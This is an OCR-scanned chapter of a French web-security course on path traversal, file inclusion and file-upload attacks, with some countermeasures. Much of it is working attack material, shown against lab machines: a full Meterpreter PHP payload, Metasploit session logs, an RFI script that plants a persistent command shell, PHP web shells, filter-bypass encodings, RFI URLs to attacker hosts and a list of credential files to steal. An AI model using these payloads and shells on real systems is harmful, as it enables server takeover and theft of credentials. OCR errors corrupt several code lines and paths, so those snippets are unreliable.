Wordpress Post-Auth RCE
iFrame Event Logger
iFrame Sniffer " |
< I — >
Basic | Requester © Ready

A

URL: http://172.16.111.30:8080/

exploit( ) > exploit

Exploit running as background job 0.

exploit( ) >

Started reverse TCP handler on 172.16.111.30:1234

Using URL: http://172.16.111.30:8080/

Server started.

exploit( ) > [*] 172.16.111.1 java jrel7
172.16.111.1 java_jrel7 provider skeleton - handling request for /GzkAg.jar
172..16.111.1 java_jrel7 provider skeleton - handling request for /GzkAg.jar
Sending stage (179779 bytes) to 172.16.111.1

Meterpreter session 1 opened (172.16.111.30:1234 -> 172.16.111.1:37897) at 2018-05-14

exploit( ) > sessions -i 1
Starting interaction with 1...

meterpreter > sysinfo

Computer : PCCLIENT?7

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en US

Domain : EXAMPLEAD

Logged On Users : 6

Meterpreter : x86/windows

meterpreter >

Apreés exécution de la commande BeEF, on obtient bien une session

meterpreter sur la machine cible. Réussite de cette exploitation !
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Se protéger contre le Directory Listing et le Directory Browsing

Le directory listing permet de visualiser le contenu d’un répertoire en tapant tout bonnement
'adresse de ce répertoire dans le navigateur. Le directory browsing permet quant a lui de

naviguer dans les sous-dossiers du répertoire concerné par simple clic.

Pour éviter ce type d’attaque, qui peut potentiellement révéler des informations sensibles sur

votre site web, deux techniques sont possibles :

Technique n°1

= Indiquer dans le fichier .htaccess la ligne suivante :

Options -Indexes

Technique n°2

= Placer un fichier index.html ou index.php dans le répertoire concerné. Ce fichier

sera automatiquement lu si I'adresse du répertoire est tapée dans la barre

d’adresse du navigateur, et le contenu du répertoire sera ainsi masqué !

L’affichage des erreurs PHP est également problématique puisqu’il renseigne l'attaquant
potentiel sur le nom des répertoires situés sur votre serveur. Pour éviter cela, il suffit d’indiquer

les deux lignes suivantes en haut de vos fichiers PHP :

error_reporting(0) ;

ini_set('display_errors’, 0) ;

Pour afficher les erreurs durant la phase de développement, vous indiquerez :

error_reporting(E_ALL) ;
ini_set('display_errors', 1) ;
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213:
File Upload / RFI / LFI / Path Traversal

= L’Unrestricted File Upload est une vulnérabilité qui permet de télécharger un
fichier sur un serveur sans aucune restriction quant a la nature du fichier. A la
place d’'une image ou d’une vidéo, le hacker pourra télécharger un script

malicieux sur le serveur. Cette vulnérabilité est trés dangereuse.

=> La vulnérabilité RFI (Remote File Inclusion) consiste pour le serveur a inclure un

fichier distant. On peut ainsi exécuter ce fichier distant sur le serveur cible.

= La vulnérabilité LFI (Local File Inclusion) consiste pour le serveur a inclure un

de ses propres fichiers. On peut ainsi récupérer ou exécuter un fichier local.

= La vulnérabilité Path Traversal (Traversée de Chemin en frangais), aussi appelée
Directory Traversal ou encore "attaque dot-dot-slash” (../), permet 'accés a des
fichiers situés potentiellement en dehors du répertoire racine du serveur web
(Apache, Nginx, GWS ou Google Web Server, IIS ou Internet Information Services de
Microsoft, ...). L’attaque Path Traversal est un exemple de vulnérabilité LFIl, mais

ici, on peut juste récupérer un fichier local.

RFI www.site.net/script.php?file=http://hacker.net/malware.txt

www.site.net/script.php?file=password.txt
LFI www.site.net/script.php?file=/etc/shadow

www.site.net/script.php?file=delete_db.php

Path Traversal www.site.net/script.php?file=../../../../etc/shadow
EXPLICATIONS
e RFI

Ex : on remplace 'URL www.vuln.com/display.php?file=page01.html

par www.vuln.com/display.php?file=http://hacker.com/shell.txt
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Il faut que I'extension du shell PHP soit modifiée en .txt pour que le code ne soit

pas exécuté sur le serveur du pirate mais bien sur le serveur de la victime.

Pour lutter contre le RFI, on met la directive allow_url_include a OFF dans

php.ini.

e LFI

Ex : on remplace 'URL www.vuln.com/display.php?file=page01.html

par www.vuln.com/display.php?file=fichier_secret.txt

Si I’extension éventuelle du fichier a afficher n’est pas spécifiée dans ’'URL, mais

est rajoutée par I’application dans le script display.php, alors on rajoute le Byte

Null (%00) a la fin de I'URL, comme terminateur :

www.vuln.com/display.php?file=fichier_secret.txt%00

Cependant, cette astuce du Byte Null ne fonctionne pas avec une version de

PHP >=5.3.4

e Path Traversal

Ex : on remplace 'URL www.vuiln.com/display.php? file=page01.html

par www.vuln.com/display.php?file=../../..I..letc/passw (chemin relatif)

ou par www.vuln.com/display.php?file=/etc/passw

(chemin absolu)

On comprend maintenant I’autre nom de cette vulnérabilité (dot-dot-slash).

Ici aussi, on rajoute le Byte Null a la fin de PURL si Papplication rajoute

I’extension grace au script.

Protection contre les RFI / LFI/ Path Traversal : si I’application filtre les

caractéres spéciaux, il faut penser également a filtrer leurs encodages

simple encodage

double encodage (% = %25)

< %3C
> %3E
« %22
¢ %27
/ %2F
\ %5C
. %2E
= %3D
- %2D
: %3A

%253C
%253E
%2522
%2527
%252F
%255C
%252E
%253D
%252D
%253A
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Je rappelle que le répertoire racine dans Linux est SLASH (/) tandis que le répertoire
racine de Windows est C:BACKSLASH (C:\)

Le hacker peut faire différentes combinaisons pour tenter de bypasser le filtrage :

%2E%2E%2F
%2E%2E/
. / .%2F
..%252F

%2E%2E%5C
%2E%2E\
. \ ..%5C
%252E%252E%255C

CONTRE-MESURES - on peut éviter ce type d’attaque :

En validant les entrées, en établissant une liste blanche des entrées ou des

extensions permises ou encore en interdisant le séparateur de répertoirer (/).

Méthode simple pour éviter I'attaque dot dot slash

Soit ’'URL vulnérable : www.example.net/index.php?info=page.txt
Pour contrecarrer I’attaque dot dot slash, il suffit de récupérer la variable comme suit :

$site = $_GET['info"] ;

$site = str_replace(array('.",''),", $site) ;

Cependant, I'idéal est d’avoir le controle sur I’extension du fichier. On aura alors

plutét le code suivant :
L’URL vulnérable : www.example.net/index.php?info=page

$site = $_GET['info'] ;
$site = str_replace(array('.",'I'),", $site) ;

$site = file_get_contents("./" . $site . ".txt') ;
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FILE INCLUSION : il est possible de cacher du code PHP dans une image !

Dans le cadre du file inclusion, il est possible d’inclure un fichier image, en apparence

inoffensif, mais qui contient du code PHP qui sera exécuté.

Voici le début d’un tel fichier (ici un .jpg), lu dans le Bloc-Notes :

S ya fExif MM *
@ HQ Q

<style>body{font-size: 0;} h1{font-size: 12px !important;}</style><h1><?php echo

"<hr />THIS IMAGE COULD ERASE YOUR WWW ACCOUNT, it shows you the PHP info
instead...<hr />"; phpinfo(); __halt_compiler(); ?></h1>0 O aa
“rXA t+ *ZPhotoshop ICC profile

© @ localhost/Modules/11/index.php?site=php-logo-virus.jpg v U

L’inclusion de I'image affiche bien le résultat de la commande phpinfo()

& Cc © @ localhost/Modules/11/index.php?site=php-logo-virusjpg BRI RE + In @ ®© 2 0 @
EQBBEcGcaIBUWwWO|Y - @sco w @err @Ho QoL Yo [H > > ® Qo B O EH o @ >

v

>

THIS IMAGE COULD ERASE YOUR WWW ACCOUNT, it shows you the PHP info instead...

System Windows NT DESKTOP-0RGFRKN 10.0 build 18362 (Windows 10) AMD64
Build Date Jul 30 2019 12:36:37
Compiler MSVC15 (Visual C++2017)
Architecture x64
Configure Command cscript/nologo configure. js ™ bl build™ ™ ble-debug-pack” "—with-pde-oci=c:\php-snap-
i 4 | i ient_12_1\sdk shared" "-with-oci8-12c=c:\php-snap-build\deps_auxioracle
x64\instantclient_12_1\sdk shared™ " ble-object-out-dir=../obj/" - ble-co ed” "—without-

analyzer” "~with-pgo”

Server API Apache 2.0 Handler
Virtual Directory Support enabled
Configuration File (php.ini) Path C\WINDOWS
Loaded Configuration File C:xampp\php\php.ini

Scan this dir for additional .ini files

(none)

Additional .ini files parsed

(none)

PHP API

20180731

Vous pourrez obtenir un résultat identique a la capture d’écran ci-dessus avec

la méme image et avec la page LFI / RFI de la machine virtuelle bWAPP !
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Fichiers intéressants dans le cadre d'un path traversal

L

@

Windows anciens

= ./.l./boot.ini (fichier de configuration)

= ./.l./windows/win.ini (parameétres systéme et utilisateur)

=l

Linux
= ..l.l.letc/passwd (les utilisateurs)
= ..l.l.letc/shadow (les mots de passe)
= ..l.l.letclissue (banniére avant le login)
= ./.l.letclprofile (configuration shell)
= ../.l.Iproclversion (version du noyau Linux)
= ./.l.Irootl.bash_history (historique de Il'utilisateur root)
= ./.l.l.sshlid_rsa (clé privée SSH)
= ./.l.Ivarllog/apache2/access.log (journaux d’accés du serveur Apache2)
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Path Traversal / LFI / RFI : contournement de certains filtres

Soit un filtre qui vérifie 'extension du fichier demandé (par exemple une
image .jpg)

= il suffit parfois de simplement utiliser I'octet nul (%00). Si je désire
afficher le fichier /etc/passwd, je taperai par exemple
.I..1..letclpasswd%00.jpg. L’extension est bien celle attendue mais elle
ne sera pas prise en compte a cause de I'octet nul. Cette astuce de

I’octet nul ne fonctionne pas avec une version de PHP >=5.3.4 !

Soit un filtre qui interdit I'utilisation des chemins absolus.

=> il suffit parfois simplement, pour contourner le filtre, de remplacer les

chemins absolus par des chemins relatifs

Soit un filtre qui vérifie que le fichier demandé se trouve bien dans
Ivar/lwww/html (sur Linux, le répertoire racine du serveur, appelé répertoire

webroot, se situe habituellement a cet endroit).

= si I'application vérifie simplement si le chemin débute par la chaine
Ivarlwww/html, on pourra parfois contourner le filtre avec

Ivarlwww/html/../..|..letc/passwd

Soit un filtre qui supprime la séquence ../ dans la requéte.
= il suffit parfois, pour contourner le filtre, de taper
LA letelpasswd ou L. .. ]...].]etc/passwd. Aprés I'exécution

du filtre, il restera bien : ../../../letc/passwd !

Soit un filtre qui supprime la chaine de caractéres http:// dans la requéte.
il suffit parfois, pour contourner le filtre, de taper hthttptp://. Aprés

I’exécution du filtre, il restera bien : http:// ! On peut aussi taper : htTp://.

Soit un filtre qui bloque les requétes contenant un forward slash (/)
= |l suffit parfois, pour contourner le filtre, de réaliser un encodage URL
du forward slash ou, en cas d’échec, un double encodage URL. Ainsi,
..l devient ..%2F ou encore ..%252F (car / = %2F et % = %25). On peut
encore taper ..%25%32%66 (car 2 = %32 et F = %66)

T rrrrre
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File upload :

contourner les filtres de protection et obtenir un shell
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Si le filtre de protection, qui vérifie que le fichier téléchargé sur le serveur est bien une

image et pas un shell (par exemple : shell.php), est mal congu, il va étre possible de le

contourner assez facilement.

Procédure

Filtrage basé sur le type

(ex : DVWA Medium Security)

Filtrage basé sur I’extension

(ex : DVWA High Security)

et I'extension,

On renomme le fichier malveillant (shell.php
devient shell.jpg),

On intercepte la requéte d’envoi du fichier avec le
proxy intercepteur Burp,

On laisse le content-type : image/jpeg tel quel,
mais on renomme le shell dans la requéte
(shell.jpg redevient shell.php),

On envoie la requéte.

On renomme le fichier malveillant en lui donnant
une double extension (shell.php devient

shell.php.jpg),
On envoie le fichier sur le serveur (upload).

Contre-mesure

1. Ne pas permettre l'upload de fichiers .exe ou .php en vérifiant le type

2. Recréer une image uploadée en la renommant : utiliser les fonctions
PHP imagecreatefromjpeg() ou imagecreatefrompng(),

3. Détruire I'image originale.
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Filtrage basé sur le type : testons DVWA avec la sécurité MEDIUM
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Tentons I'upload d’un fichier .php avec la sécurité MEDIUM :

Vulnerability: File Upload

Choose an image to upload:
Parcourir... shell.php

Upload

Your image was not uploaded.

Retentons cet upload, aprés avoir modifié I’extension du fichier shell.php (devenu

maintenant shell.jpg), en I'interceptant avec Burp :

/ Request to http://192.168.56.102:80

| Forward J [ Drop J | Interceptis on | Action

_[ Raw T Params T Headers T Hex ]

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1

’ Host: 192,168.56.102

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: fr-BE

Accept-Encoding: gzip, deflate

7 Referer: http://192.168.56,102/dvwa/vulnerabilities/upload/

Content-Type: multipart/form-data; boundary=------------“-------~-------- 20254624288944708401665018653
9 Content-Length: 483

10 Connection: close

11 Cookie: security=medium; PHPSESSID=fce2549a881015laf7a76cf852f3c011

12 Upgrade-Insecure-Requests: 1

AV SsWwN

13

R | R R R Y S R 20254624288944708401665018653
15 Content-Disposition: form-data; name="MAX FILE SIZE"

16

17 100000

8| St SR RIS S S R SRR s 20254624288944708401665018653

159 Content-Disposition: form-data; name="uploaded"; filename="shell.jpg" —I
20 Content-Type: image/jpeg

Remodifions
[ Le content-type est bon — , . .,
624288944708401 665018653 I’extension du fichier
25 Content-Disposition: form-data; name="Upload" dans la requéte
7 Upload
----------------------------- 20254624288944708401 665018653 - -
14| mmmmm e 20254624288944708401 66501 8653
15 Content-Disposition: form-data: name="MAX _FILE SIZE"
15
17 100000
I 20254624288944708401 66501 8653
19 Content-Dispesition: form-data; name="uploaded"; filename="shell.php" <
20 Content-Type: image/jpeg
21

GloLe



Introduction a la cybersécurité / Le monde du web

221:

Dans Burp, cliquons sur Forward pour renvoyer la requéte au serveur :

4

Vulnerability: File Upload

Choose an image to upload:
Parcourir... Aucun fichier sélectionné.

| Upload

../../hackable/uploads/shell.php succesfully uploaded!

g

Réussite de I'opération : le fichier malicieux est correctement transféré sur le serveur

OBTENIR une session meterpreter sur I'ordinateur cible

Le fichier shell.php dont il est question dans ce chapitre a été créé avec la commande
suivante :

msfvenom -p php/meterpreter/bind_tcp Iport=1234 > shell.php

Voici ce que contient ce fichier :

I*<?php  /**/  error_reporting(0); $ip = '0.0.0.0; S$port = 1234; if
(is_callable('stream_socket_server')) { $srvsock =
stream_socket_server("tcp://{$ip}:{$port}”); if (1$srvsock) { die(); } $s =
stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif
(is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET,
SOCK_STREAM, SOL_TCP); if (1$res) { die(); } $s = socket_accept($srvsock);
socket_close($srvsock); $s_type = 'socket’; } elseif (is_callable('socket_create’)) {
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res =
socket_bind($srvsock, $ip, $port); if (1$res) { die(); } $s = socket_accept($srvsock);
socket_close($srvsock); $s_type = 'socket’; } else { die(); } if (1$s) { die(); } switch
($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s,
4); break; } if (1$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = "; while
(strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock’] =
$s; $GLOBALS['msgsock_type'l = $s_type; if (extension_loaded('suhosin') &&
ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function(", $b);
$suhosin_bypass(); } else { eval($b); } die();
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Il faut maintenant taper ’'URL de ce fichier dans la barre d’adresse du navigateur afin

de I’exécuter (ouverture du port 1234 sur la machine cible). L’adresse sera, selon la

technique utilisée (voir les pages précédentes) :

http://192.168.56.102/dvwa/hackable/uploads/shell.php

ou

http://192.168.56.102/dvwa/hackable/uploads/shell.php.jpg

Dans cet exemple, http://192.168.56.102 est I’adresse de la machine Metasploitable !

On lance enfin I’exploit multi/handler sur la machine de I’attaquant, en spécifiant le

payload utilisé, I’adresse distante et le port :

msf5 > use multi/handler

msf5 exploit( ) > set payload php/meterpreter/bind_tcp

payload = php/meterpreter/bind_tcp

msf5 exploit( ) > set RHOST 192.168.56.102
RHOST = 192.168.56.102

msf5 exploit( ) > set LPORT 1234

LPORT = 1234

msf5 exploit( ) > run

Started bind TCP handler against 192.168.56.102:1234
Sending stage (38288 bytes) to 192.168.56.102

Meterpreter session 1 opened (192.168.56.110:36777 — 192.168.56.102:1234) at 2020-06-29

meterpreter > sysinfo
Computer : metasploitable

0sS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

Meterpreter : php/linux
meterpreter > ||

BINGO ! On obtient bien une session meterpreter...
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Création d’'une backdoor sur le site Mutillidae grace a la vulnérabilité RFI

Installons Mutillidae dans le répertoire htdocs de Xampp (sous Windows). Attention, il faut

modifier le fichier C:\xampp\htdocs\mutillidae-mastenincludes\database-config.inc :

<?php

define('DB_HOST", '127.0.0.1");
define('DB_USERNAME', 'root");
define('DB_PASSWORD', 'mutillidae'); <:|
define('DB_NAME', 'mutillidae");

define('DB_PORT', 3306);

?7>

devient :

<?php

define('DB_HOST", '127.0.0.1");
define('DB_USERNAME!', 'root");
define('DB_PASSWORD', ");
define('DB_NAME', 'mutillidae’);
(l

define('DB_PORT', 3306);
?>

La page de Mutillidae vulnérable au RFI est :
http://llocalhost/mutillidae-master/index.php?page=arbitrary-file-inclusion.php

Pour réaliser cette attaque, il faut modifier, dans le fichier php.ini de Xampp, la directive

allow_url_include=0ff en allow_url_include=0On.

Je crée alors un fichier rfi.txt sur le serveur de l'attaquant (192.168.56.113). Voici ce qu'il

contient :

B it - Bloc-notes - O X
| Fichier Modifier Format Affichage  Aide

<?php

ini_set('display_errors',1);

error_reporting(E_ALL);

$content = '<?php if(isset($_GET["cmd"])) {echo system($_GET["cmd"]1);} ?>';
file_put_contents("../shell.php"”, $content) or die ("Echec !");

?>

Ln1,Col1 | 100% | Windows (CRLF) | UTF-8
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Je tape alors I'adresse suivante dans le navigateur :
http://llocalhost/mutillidae-master/index.php?page= http://192.168.56.113/rfi.txt

Le script PHP est exécuté sur la machine cible. Attention, le fichier doit bien avoir I'extension
.Ixt et non .php, sinon le script s’exécuterait sur la machine de I'attaquant et pas celle de la

victime !

La backdoor, un simple shell PHP, est bien créée a la racine du serveur local. Ce shell contient

la ligne :

Le shell est maintenant directement accessible sur la machine cible (via I'adresse
http://<IP>/shell.php?cmd=<votre_commande>) et nous permet I'exécution de diverses

commandes comme ci-dessous :

localhost/shell.php?cmd=ipconfig X + = O X

& G W QO D localhost/shell.phpZemd=ipconfig w O A & =

inconnue Connexion au r€)seau local€: Statut dum@dia. .. ... ... ... : M@dia d@connect@ Suffixe DNS propre € la
connexion. . . : Carte r€pseau sans fil Wi-Fi€: Statut dum@dia .. ... ... ... : M@dia d@connect§ Suffixe DNS propre ¢ la
connexion. . . : Carte r€)seau sans fil Connexion au r€)seau local* 13€: Statut du m@dia. . ... ... .. ..:Media d@connect@)
Suffixe DNS propre € la connexion. . . : Suffixe DNS propre € la connexion. . . :

Ce shell est bien sir persistant et pourra étre réutilisé par I'attaquant autant qu’il le souhaite.
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Détecter les vulnérabilités dot dot slash avec dotdotpwn

Le fuzzer dotdotpwn permet de découvrir des vulnérabilités de type Directory Traversal,
aussi appelées attaques dot dot slash (../).

Le but de I'attaque dot dot slash est d’obliger a une application d’accéder a un fichier
sur le serveur qui n’est pas censé étre accessible comme par exemple le fichier

letc/passwd).

Un exemple classique de ce type d’attaque est illustré par I'application vulnérable

Mutillidae, dont la page ci-dessous est vulnérable a ce type d’attaque :

< ISR CRGY ® 10.0.2.18/mutillidae/index.php?page=home.php S I ¢ mn @ =
'\ Kali Linux “\ Kali Training "\ Kali Tools \ Kali Docs '\ Kali Forums “\ NetHunter [jJ Offensive Security & Exploit-DB & GHDB [ MSFU

@4« Mutillidae: Born to be Hacked

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Toggle Security Reset DB View Log View Captured Data

Version: 2.1.19
Home Login/Register Toggle Hints

Mutillidae: Deliberately Vulnerable PHP
(ot | Scripts Of OWASP Top 10

» ~ 3
Documentation Latest Version / Installation
»

« Installation Instructions
« Usage Instructions
* Getrid of those pesky PHP errors
« Change Log
P Y * Notes
Site
hacked...err...quality- ISamural WTF and Backtrack con' Ile tools needed or you may build your own collection
tested with Samurai
WTF, Backtrack, —
Firefox, Burp-Suite, o /
<) C B ® 10.0.2.18/mutillidae/index.php?page=....[../fetc/passwd - O W N &=

y, Kali Linux "\ Kali Training "%, Kali Tools ", KaliDocs "\ Kali Forums % NetHunter [JJlj Offensive Security % Exploit-DB # GHDB [JJi MSFU

@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed)
Home Login/Register Toggle Hints

Hints: Disabled (0 - | try harder)
Reset DB

Not Logged In

Toggle Security View Log

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

View Captured Data

OWASP Top 10 sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:
/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh

Others mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var
/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var

D‘"“"“’“t““““ /www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var

[list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home
/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool
/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:

Resources

—r

Site /bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:
hacked...err...quality- /bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home
tested with Samurai /service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var

WTF, Backtrack, /run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:
/bin/false

Firefox, Burp-Suite,
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Il existe un outil automatique qui permet de faire ce genre d’attaque : dotdotpwn.

https://lgithub.com/wireghoul/dotdotpwn

DotDotPwn - The Directory Traversal Fuzzer http://dotdotpwn.blogspot.com/

security perl traversal fuzzer penetration-testing
D 52 commits ¥ 1branch © 1 release A8 4 contributors &s GPL-3.0

‘ Branch: master v ’ ‘ New pull request Find file 1
@ wireghoul Merge pull request #21 from Jason-Cooke/patch-1 [is Latest commit 41f6f65 on 17 Sep
| DotDotPwn Fixed variable name mixup 3 years ago
B Reports Cludge to woork around git not allowing empty directories in order to f... 3 years ago
B AUTHORS.txt Change http-uri in http-url 6 years ago
B CHANGELOG.txt Setting version to 3.0.2 3 years ago
B EXAMPLES.txt Import of dotdotpwon v3.0 release 8 years ago
B LICENSE.txt Import of dotdotpwon v3.0 release 8 years ago
E README.md docs: fix typo last month
B TODO.txt Documentation update and credits for SSL implementation 7 years ago
B dotdotpwn.pl Setting version to 3.0.2 3 years ago
B payload_sample_1.txt Import of dotdotpwon v3.0 release 8 years ago
B payload_sample_2.txt Import of dotdotpwon v3.0 release 8 years ago

On peut l'installer sur Linux (dans /opt/) grace a la commande suivante :

git clone https://github.com/wireghoul/dotdotpwn.git

On lance le programme avec :
perl dotdotpwn.pl -m http -h <ADRESSE IP>
-m = module (HTTP, FTP, TFTP, ...)
-h = adresse IP de I’hbte
Si on cible un fichier particulier, on peut ajouter :

-f letc/passwd
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Lancement du programme :

227:

B i i g g

CubilFelino

#
=
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

Security Research Lab
chrlx.sectester.net

proudly present:

and

N/

- DotDotPwn v3.0.2 -
The Directory Traversal Fuzzer
http://dotdotpwn.sectester.net

[(in)Security Dark] Labs
chatsubo-labs.blogspot.com

 INEX T \

dotdotpwn@sectester.net

by chrlx & nitrous

Chatsubo

\

HodE 3 W 3R 3 3 %R 3R W SR 3 o W W W

e e e e g s

[+] Report name: Reports/10.0.2.18 10-21-2019 19-46.txt

========== TARGET INFORMATION

Hostname: 10.0.2.18
Protocol: http

Port: 80

=========== TRAVERSAL ENGINE

Creating Traversal patterns (mix of dots and slashes)
Multiplying 6 times the traversal patterns (-d switch)

Creating the Special Traversal patterns

Translating (back)slashes in the filenames

Appending '/etc/passwd' to the Traversal Strings
Including Special sufixes

Traversal Engine DONE !

=========== TESTING RESULTS

Ready to launch 3.33 traversals per second

Le rapport du fuzzing
est enregistré dans
un fichier .txt

- Total traversal tests created: 5514

Press Enter to start the testing (You can stop it pressing Ctrl + C)

TESTING RESULTS
Ready to launch 3.33 traversals per se
(You can stop

Press Enter

HTTP Status:
HTTP Status:
HTTP Status:
HTTP Status:
HTTP Status:
HTTP Status:

to start the

400
400
400
400
400
400

Testing
Testing
Testing
Testing
Testing
Testing

testing

Path:
Path:
Path:
Path:
Path:
Path:

http:
http:
http:
http:
http:
http:

cond

//710.0.
//108.
//10.6
//10.0.
//10.
//10.6

2.
3
Ry 25
o
S 4
o2

pressing Ctrl + C)

‘289/--/
:80/..
:80/..

8:80/..
:80/..
3:80/../

etc/passwd
./etc/passwd
.. /etc/passwd
/.0 fetc/passwd
Aok fetc/passwd
[l /. fetc/passwd



Introduction a la cybersécurité / Le monde du web

Voyons le contenu du rapport (fichier .txt) :

228:

[+] Date and Time:

[+] Port: 80

http://16.0.2.18:
[*] Testing Path:
[*] Testing Path:
[*] Testing Path:

[*] Testing Path:

10-21-2019 19:46:13

[+] Hostname: 10.0.2.18
[+] Protocol: http

80/.2/.7/.
http://16.
http://10.
http://160.

http://16.

I::::::::::: TRAVERSAL ENGINE ===========]
[+] Traversal Engine DONE !

- Total traversal tests created: 5514

[+] Total Traversals found: 296
[-] Fuzz testing aborted

?/.?/.7/etc/passwd <- VULNERABLE!
0.2.18:80/.7?/.2/.2/.2/.2/.2/etc/passwd <- VULNERABLE!
0.2.18:80/.7%5Cetc%5Cpasswd <- VULNERABLE!
0.2.18:80/.7%5C. 7%5Cetcx5Cpasswd <- VULNERABLE!

0.2.18:80/.7%5C. ?%5C. ?%5Cetct5Cpasswd <- VULNERABLE!

Toutes les vulnérabilités de type dot dot slash sont

NOTE

J’ai personnellement eu des problémes lors de I'analyse de la machine

archivées dans ce rapport !

virtuelle Metasploitable avec dotdotpwn. Les URLs vulnérables semblaient ne

pas donner le résultat escompté.

C’est un probléme a creuser...

OO
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229:

Les dangereux shells PHP

SR CIROelinERIEE]  fonctionne avec PHP 7 & 8

Dans le cadre d’un File Upload, on peut télécharger sur un site vulnérable le shell

rudimentaire suivant (shell.php).

Dans le cadre d’un RFI (Remote File Inclusion), on peut inclure ce shell (cette fois-ci

avec I'extension .txt) dans une page vulnérable.

Le shell (utilisant la méthode GET) contient juste 10 lignes :

<?php
if(isset($_REQUEST['cmd'])){

echo "<pre>" ;

$cmd = ($_REQUEST['cmd']) ;

On peut utiliser de maniére

équivalente les fonctions :

system($cmd); ——— > 2 BRCly
. passthru()
echo "</pre>" ; . shell_exec()
die ; . exec()
}
>

Utilisation : http://victime.com/shell.php?cmd=cat+/etc/passwd

Dans le cadre d’un File Upload, il suffit alors de taper dans le navigateur I’adresse du

shell téléchargé sur le site vulnérable :
http://site-victime.com/upload/shell.php?cmd=<COMMAND>

ou <COMMAND> est une commande Windows ou Linux (suivant la cible), et cette
commande sera exécutée. Exemple : pour afficher le contenu d’un fichier, on utilise la

commande « cat » (Linux) ou la commande « type » (Windows), ...

Dans le cadre d’un RFl, il suffira d’inclure I‘adresse du shell (avec I’extension .txt), et le

tour sera joué.
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230:

Ce méme shell rudimentaire adapté pour la méthode POST

Je viens de m’apercevoir que
mon shell rudimentaire par la
méthode POST n’est pas
détecté par certains antivirus.
Je suis donc dans l'obligation
déontologique, de flouter cette
page. A vous de tenter de le
réécrire, si cela vous tente. Cela
constituera un excellent
exercice de révision.

R W ——
e 0 S g — —
L
. W 5 AR
' -

W 4 RS A -
- e e W

(cloree]
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231:

Un shell simple a utiliser est le shell ci-dessous. Attention, simple ne veut pas dire
inoffensif : ce shell est trés dangereux car il permet de voyager et d’exécuter n’importe

quelle commande sur le serveur sur lequel il est téléchargé.

On se sert du shell avec I’extension .php dans le cadre d’un File Upload et avec
I’extension .txt dans le cadre d’un RFI.

‘!shellz‘..x www/html# pwd

/var/www/html

@shell:../www/html# uname -a

Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kalil (2018-02-16) x86 64 GNU/Linux

Cshell:... /v /html#

Un shell élaboré fonctionne avec PHP < 7.4
Un autre shell plus élaboré est le shell ci-dessous.
Le script qui génére ce shell peut se télécharger sur : https://github.com

Le script PHP téléchargé permet de générer le payload (le mot de passe par défaut du
shell, b374k, peut étre modifié)

Ici aussi, on se sert du shell avec I’extension .php dans le cadre d’un File Upload et avec
I’extension .txt dans le cadre d’un RFI.
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3.2.3 / var [/ www / html /

Explorer Terminal Eval Convert Database Info Mail Network

Server IP : 192.168.56.114 | Your IP : 192.168.56.114

Time @ Server : 04 Jul 2020 06:31:28

Linux kali 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kalil (2020-04-21) x86_64

Apache/2.4.43 (Debian) | PHP 7.3.15-3
(@) name size owner
O =R action DIR root:root
O [ s il action DIR root:root
O [ Shell PHP b374k-Generator ] action DIR root:root
(3] p action 85.03 KB root:root
O .php action 108.67 KB root:root
O 11.php action 223.81 KB root:root
(@) .php action 6.67 KB root:root
O phpinfo.php action 24 B root:root
(©)] wso.php action 26.78 KB root:root
O Action *

6 file(s), 1 Folder(s)

Processes

perms

drwxr-xr-x

drwxr-xr-x

drwxr-x---

- FWXTWXIWX

- TWXIWXIWX

= TWXTWXTWX

- TWXIWXIWX

- FTWXTWXTWX

- FTWXIWXIWX

04-

08
